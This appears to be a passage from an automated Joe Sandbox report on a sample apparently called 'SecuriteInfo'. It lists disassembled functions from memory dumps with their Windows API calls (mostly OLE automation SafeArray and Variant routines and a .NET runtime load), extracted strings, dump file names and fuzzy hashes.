__cftoe.LIBCMT ref: 6D01B870
GetModuleHandleW.KERNEL32(?), ref: 6D01B88B
GetProcAddress.KERNEL32(00000000,C8F5E518), ref: 6D01B8D7

Strings

v4.0.30319, xrefs: 6D01B767
CLRCreateInstance, xrefs: 6D01B72A
mscoree.dll, xrefs: 6D01B70C, 6D01B717

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: AddressHandleModuleProc$LibraryLoad__cftoe
String ID: CLRCreateInstance$mscoree.dll$v4.0.30319
API String ID: 1275574042-506955582
Opcode ID: 9488a5ff3b6e2af2e473f096ce6e2f7176c01f1ba9ce28c28c4afa37e84ce58c
Instruction ID: 6ddae09114873d7f1548cc1b3c5e350bcee61684b12197ba57ebc696760f57fa
Opcode Fuzzy Hash: 9488a5ff3b6e2af2e473f096ce6e2f7176c01f1ba9ce28c28c4afa37e84ce58c
Instruction Fuzzy Hash: B8912971D082899FEB04DFE8CC80AAEBBB5FF49310B10856DE119AB351D770A946CB55

Function 02EBB8A8 Relevance: 7.1, Strings: 5, Instructions: 825COMMON

Download Yara Rule

Strings

,bq, xrefs: 02EBBFE7
(o^q, xrefs: 02EBC263
,bq, xrefs: 02EBBFF7
(o^q, xrefs: 02EBC259
Hbq, xrefs: 02EBC2D0

Memory Dump Source

Source File: 00000000.00000002.1763634407.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2eb0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$,bq$,bq$Hbq
API String ID: 0-3486158592
Opcode ID: 0afb6738475e8624cf72c716dda2bd820fbaf1e30a0768fa5f52c3c6ac988869
Instruction ID: 741f2f328720e3c74b7ebe4ef42d3160e8f04b9909f71085412294ce44099779
Opcode Fuzzy Hash: 0afb6738475e8624cf72c716dda2bd820fbaf1e30a0768fa5f52c3c6ac988869
Instruction Fuzzy Hash: 7F628F34A405158FCB19DF69C884AEEBBB2BF88718F15E569E805DB364DB31EC41CB90

Function 054333D0 Relevance: 1.3, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

8cq, xrefs: 05433437

Memory Dump Source

Source File: 00000000.00000002.1767288681.0000000005430000.00000040.00000800.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5430000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 8cq
API String ID: 0-304758316
Opcode ID: 62787e0f3ee8cb75f998f831766c7d09c3d9b8d37c63c7c2c83f074c9bec20fd
Instruction ID: b34f6339de73b068dbad50474dac60a316799174cb9f7ea6869024f323737413
Opcode Fuzzy Hash: 62787e0f3ee8cb75f998f831766c7d09c3d9b8d37c63c7c2c83f074c9bec20fd
Instruction Fuzzy Hash: F331F375D41208AFDB04CFA8D480AEEBBF6FF49310F10906AE911B7260DB71AA05CB95

Function 054333D8 Relevance: 1.3, Strings: 1, Instructions: 87COMMON

Download Yara Rule

Strings

8cq, xrefs: 05433437

Memory Dump Source

Source File: 00000000.00000002.1767288681.0000000005430000.00000040.00000800.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5430000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 8cq
API String ID: 0-304758316
Opcode ID: bff947af6581e42ba20dc32ae740e7164cbd7e8e9a284fd895baa1a7aa5deaff
Instruction ID: 8d5ff71981f922699b787c00940de94978dccb496fafe8064d6ec61e5cab7619
Opcode Fuzzy Hash: bff947af6581e42ba20dc32ae740e7164cbd7e8e9a284fd895baa1a7aa5deaff
Instruction Fuzzy Hash: 0931E475D41208AFDB04CFA8D480AEEFBF6FF49310F10946AE911B7260DB719A45CB95

Function 05CC26F8 Relevance: .5, Instructions: 481COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1768998212.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90c8290e4f7e9cc0c6184e21b5d5fdaa3ce20c73ba1084403e172219ace2083c
Instruction ID: 1f6529d368cb67f0fed480bd4516ca563bfa090bce00031d186dff0009c31458
Opcode Fuzzy Hash: 90c8290e4f7e9cc0c6184e21b5d5fdaa3ce20c73ba1084403e172219ace2083c
Instruction Fuzzy Hash: E1328174E012299FDB64DFA9C894BEDBBB2BF89300F1081AAD549A7354DB305E81CF51

Function 02EB8958 Relevance: .4, Instructions: 398COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1763634407.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2eb0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eae63e89815523a81b01d8d1afcbd4a8290e89f313cfbd0074c780114a5f2abe
Instruction ID: d072b380ff02a54f71f53ba464eb314fe2e35e43b175d7658aa55a2a27bd173c
Opcode Fuzzy Hash: eae63e89815523a81b01d8d1afcbd4a8290e89f313cfbd0074c780114a5f2abe
Instruction Fuzzy Hash: BA129D74E002288FDB64DF69C984B9EBBB6BF89304F1081AAD509A7355DB305E85CF50

Function 05CC26F2 Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1768998212.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b859713c512d832fe0dabe20972e84325d7d4af57b147f8fb0fa615513cc6401
Instruction ID: 3bb7abf346a0a5c047852d93f57c060c02c5d8b5182f21966c009a0a100aa047
Opcode Fuzzy Hash: b859713c512d832fe0dabe20972e84325d7d4af57b147f8fb0fa615513cc6401
Instruction Fuzzy Hash: 4C91A374E012289FDB64DF6AC884BDDBBB2BF89300F1481AAD54DAB354DB305A81CF51

Function 6D029357 Relevance: 41.0, APIs: 21, Strings: 1, Instructions: 2492COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6D0284BF
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6D0284D2
SafeArrayGetElement.OLEAUT32 ref: 6D02850A
SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6D0294C1
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6D0294D4
SafeArrayGetElement.OLEAUT32(?,?,00000000), ref: 6D02950C
SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6D0297A4
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6D0297B7
SafeArrayGetElement.OLEAUT32(?,?,00000000), ref: 6D0297F2

Part of subcall function 6D023A90: SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6D023B71
Part of subcall function 6D023A90: SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6D023B83

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6D029D5F
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6D029D72
SafeArrayGetElement.OLEAUT32(?,?,00000000), ref: 6D029DAF

Part of subcall function 6D023A90: SafeArrayDestroy.OLEAUT32(?), ref: 6D023BCF

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6D02A1BC
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6D02A1CF
SafeArrayGetElement.OLEAUT32(?,?,00000000), ref: 6D02A20C
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEBF

Strings

A, xrefs: 6D02AD44

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArraySafe$Bound$Destroy$Element
String ID: A
API String ID: 959723449-3554254475
Opcode ID: b5d2a776a7620605da943a5c4c7759a09ae0c72cd5d26fc4454a65e7889f0989
Instruction ID: def436d776687eb0f97f133cfbd99cecf7cbc3706053f50d95007f615efb894f
Opcode Fuzzy Hash: b5d2a776a7620605da943a5c4c7759a09ae0c72cd5d26fc4454a65e7889f0989
Instruction Fuzzy Hash: 6D23A574A05205DFEB00DFA4CC84FAD77F9AF49304F658098EA09AF296DB71E945CB60

Function 6D022970 Relevance: 25.8, APIs: 17, Instructions: 335
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6D0229F6
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6D022A08
SafeArrayGetElement.OLEAUT32(?,?,?), ref: 6D022A2F
VariantInit.OLEAUT32(?), ref: 6D022ABB
VariantInit.OLEAUT32(?), ref: 6D022B3F
VariantClear.OLEAUT32(?), ref: 6D022C04
VariantClear.OLEAUT32(?), ref: 6D022C0B
VariantClear.OLEAUT32(?), ref: 6D022C12
VariantClear.OLEAUT32(?), ref: 6D022C96
VariantClear.OLEAUT32(?), ref: 6D022C9D
VariantClear.OLEAUT32(?), ref: 6D022CD6
VariantClear.OLEAUT32(?), ref: 6D022CDD
VariantClear.OLEAUT32(?), ref: 6D022CE4
SafeArrayDestroy.OLEAUT32(?), ref: 6D022D1B
VariantClear.OLEAUT32(?), ref: 6D022D45
VariantClear.OLEAUT32(?), ref: 6D022D4C
VariantClear.OLEAUT32(?), ref: 6D022D53

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Variant$Clear$ArraySafe$BoundInit$DestroyElement
String ID:
API String ID: 214056513-0
Opcode ID: ab5cdd7c0001c9cea479c5b61711bdb36921555a5ad60baf530850d6712ed05a
Instruction ID: f8d48ec5c1523e3f9fb03d6f01bdda98e984d10d1a2d6d278fa5d3df048da361
Opcode Fuzzy Hash: ab5cdd7c0001c9cea479c5b61711bdb36921555a5ad60baf530850d6712ed05a
Instruction Fuzzy Hash: 96C178716183419FEB10CFA8C884A6BBBE9BFC9304F20895DF695CB261C775E845CB52

Function 6D01AF30 Relevance: 24.3, APIs: 16, Instructions: 335
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 6D01AF75
VariantInit.OLEAUT32(?), ref: 6D01AF7C
VariantInit.OLEAUT32(?), ref: 6D01AF83
VariantCopy.OLEAUT32(?,?), ref: 6D01B00D
VariantClear.OLEAUT32(?), ref: 6D01B027
SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6D01B19C
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6D01B1AA
SafeArrayAccessData.OLEAUT32(?,?), ref: 6D01B1C5
_memmove.LIBCMT ref: 6D01B1E6
SafeArrayUnaccessData.OLEAUT32(?), ref: 6D01B1EF
VariantClear.OLEAUT32(?), ref: 6D01B237
VariantClear.OLEAUT32(?), ref: 6D01B23E
VariantClear.OLEAUT32(?), ref: 6D01B245
VariantClear.OLEAUT32(?), ref: 6D01B29D
VariantClear.OLEAUT32(?), ref: 6D01B2A4
VariantClear.OLEAUT32(?), ref: 6D01B2AB

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Variant$Clear$ArraySafe$Init$BoundData$AccessCopyUnaccess_memmove
String ID:
API String ID: 3403836469-0
Opcode ID: 1f8dfa9e8d4fd83c288e1abc7039d7f2efa33c820ccd69c6b74a7f85a389af5e
Instruction ID: 8c2411cea4ef82ee5a80834708c2523305f20e002992243d09786b18da9b8413
Opcode Fuzzy Hash: 1f8dfa9e8d4fd83c288e1abc7039d7f2efa33c820ccd69c6b74a7f85a389af5e
Instruction Fuzzy Hash: E2C14BB16083429FE700DFA8CC84A5AB7E9FB8A304F55896DF659C7350D731E905CBA2

Function 6D02D410 Relevance: 24.3, APIs: 16, Instructions: 290
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32 ref: 6D02D4B3
VariantInit.OLEAUT32 ref: 6D02D4C5
VariantInit.OLEAUT32(?), ref: 6D02D4CC
_malloc.LIBCMT ref: 6D02D551
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000002), ref: 6D02D58B
SafeArrayCreateVector.OLEAUT32 ref: 6D02D5A6
SafeArrayAccessData.OLEAUT32 ref: 6D02D5B8

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArrayInitSafeVariant$CreateVector$AccessData_malloc
String ID:
API String ID: 1552365394-0
Opcode ID: 3b7bacfdef7850bb2aa6e575f1e8b509a4a2043571d0b89b2ce4e8e498441031
Instruction ID: 3e61124d5b03350da8fe70a1c2953224947a1dc8c3dafc69240c47563dd727d8
Opcode Fuzzy Hash: 3b7bacfdef7850bb2aa6e575f1e8b509a4a2043571d0b89b2ce4e8e498441031
Instruction Fuzzy Hash: 41B15476608341AFE714CF28C880B6BB7F9BFC9314F14895DE99987250E770E905CBA2

Function 6D02D468 Relevance: 21.2, APIs: 14, Instructions: 226
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32 ref: 6D02D4B3
VariantInit.OLEAUT32 ref: 6D02D4C5
VariantInit.OLEAUT32(?), ref: 6D02D4CC
_malloc.LIBCMT ref: 6D02D551
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000002), ref: 6D02D58B
SafeArrayCreateVector.OLEAUT32 ref: 6D02D5A6
SafeArrayAccessData.OLEAUT32 ref: 6D02D5B8
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6D02D601
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6D02D63E

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArraySafe$InitVariant$CreateElementVector$AccessData_malloc
String ID:
API String ID: 2723946344-0
Opcode ID: 7be6e15b61e84c32c97463645b05b05421be59d702c26303e78b4668c136f4d3
Instruction ID: 30683743680f3a3e497e705d205844a1194a745945464698bede0d7405f11ce5
Opcode Fuzzy Hash: 7be6e15b61e84c32c97463645b05b05421be59d702c26303e78b4668c136f4d3
Instruction Fuzzy Hash: 769135B56083019FE704CF28C880B6BB7F9BFC9304F15895DE9998B251E774E905CBA2

Function 6D0244C0 Relevance: 19.8, APIs: 13, Instructions: 261
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 6D0244FF
VariantInit.OLEAUT32(?), ref: 6D024505
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000002), ref: 6D024516
SafeArrayPutElement.OLEAUT32(00000000,00000000,?), ref: 6D024551
VariantClear.OLEAUT32(?), ref: 6D02455A
SafeArrayCreateVector.OLEAUT32(0000000D,00000000,00000002), ref: 6D024579
SafeArrayPutElement.OLEAUT32(00000000,00000000,?), ref: 6D024594
SafeArrayPutElement.OLEAUT32(?,00000000,?), ref: 6D0245B5
SafeArrayPutElement.OLEAUT32(?,00000000,?), ref: 6D0245CE
std::tr1::_Xweak.LIBCPMT ref: 6D02475A
SafeArrayDestroy.OLEAUT32(?), ref: 6D024777
VariantClear.OLEAUT32(?), ref: 6D024787
VariantClear.OLEAUT32(?), ref: 6D02478D

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArraySafe$Variant$Element$Clear$CreateInitVector$DestroyXweakstd::tr1::_
String ID:
API String ID: 1304965753-0
Opcode ID: ba47f0923348932bed04a66730a4e13597e30cea626f30e724bef09650b0cfdb
Instruction ID: 2d6b7ed970e0bb04b620c7f6e365d5b0dba3ba481a0f1450b72ed4c092ce6a4e
Opcode Fuzzy Hash: ba47f0923348932bed04a66730a4e13597e30cea626f30e724bef09650b0cfdb
Instruction Fuzzy Hash: 37A13C75A01606ABDB14DFA4C984EAFB7B9FF8D710F14462DE506AB781C630E941CB60

Function 6D02BF00 Relevance: 18.2, APIs: 12, Instructions: 215
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 6D02BF3D
VariantInit.OLEAUT32(?), ref: 6D02BF4A
VariantInit.OLEAUT32(?), ref: 6D02BF50
VariantInit.OLEAUT32(?), ref: 6D02BF56
VariantInit.OLEAUT32 ref: 6D02C04D
VariantCopy.OLEAUT32(?,?), ref: 6D02C054
VariantInit.OLEAUT32 ref: 6D02C085
VariantCopy.OLEAUT32(?,?), ref: 6D02C08C
VariantClear.OLEAUT32(?), ref: 6D02C118
VariantClear.OLEAUT32(?), ref: 6D02C11E
VariantClear.OLEAUT32(?), ref: 6D02C124
VariantClear.OLEAUT32(?), ref: 6D02C12A

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Variant$Init$Clear$Copy
String ID:
API String ID: 3833040332-0
Opcode ID: 47d73a1b311399539e70233a63227aae07d9f0a7fc7c31c7e96793b6eae88795
Instruction ID: 0429a4880be8125bd939169d48fc710f29009104f944cd4537ade8b191f0c987
Opcode Fuzzy Hash: 47d73a1b311399539e70233a63227aae07d9f0a7fc7c31c7e96793b6eae88795
Instruction Fuzzy Hash: 12818C71901219AFEF04DFA8C884FEEBBB9FF49304F144159E905AB241DB75EA05CBA4

Function 6D0264D0 Relevance: 18.2, APIs: 12, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32 ref: 6D02650C
VariantInit.OLEAUT32(?), ref: 6D026519
VariantInit.OLEAUT32(?), ref: 6D026520
SafeArrayCreateVector.OLEAUT32(0000000C), ref: 6D026531
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6D02656D
VariantClear.OLEAUT32(?), ref: 6D026576
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6D0265B6
VariantClear.OLEAUT32(?), ref: 6D0265BF
SafeArrayDestroy.OLEAUT32(00000000), ref: 6D026666
VariantClear.OLEAUT32(?), ref: 6D026677
VariantClear.OLEAUT32(?), ref: 6D02667E
VariantClear.OLEAUT32(?), ref: 6D026685

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Variant$Clear$ArraySafe$Init$Element$CreateDestroyVector
String ID:
API String ID: 1625659656-0
Opcode ID: 94e47bb969564fecb422059ebc63c01e1a448dc03aa4da2e71d710b575a4bdca
Instruction ID: 9a21a572c681d2179d78ff800dae2624a8d2ff973ed605a720e92d68663617c3
Opcode Fuzzy Hash: 94e47bb969564fecb422059ebc63c01e1a448dc03aa4da2e71d710b575a4bdca
Instruction Fuzzy Hash: 98513772508305AFD700DF64C884A6BBBF9EFCA700F008A1DF95587250EB35E905CB92

Function 6D02CB90 Relevance: 18.1, APIs: 12, Instructions: 143
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 6D02CBCA
VariantInit.OLEAUT32(?), ref: 6D02CBD3
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000002), ref: 6D02CBE4
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000002), ref: 6D02CBF6
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6D02CC0D
SafeArrayPutElement.OLEAUT32(?,?,?), ref: 6D02CC39
VariantClear.OLEAUT32(?), ref: 6D02CC42
SafeArrayPutElement.OLEAUT32(00000000,00000001,?), ref: 6D02CC5D
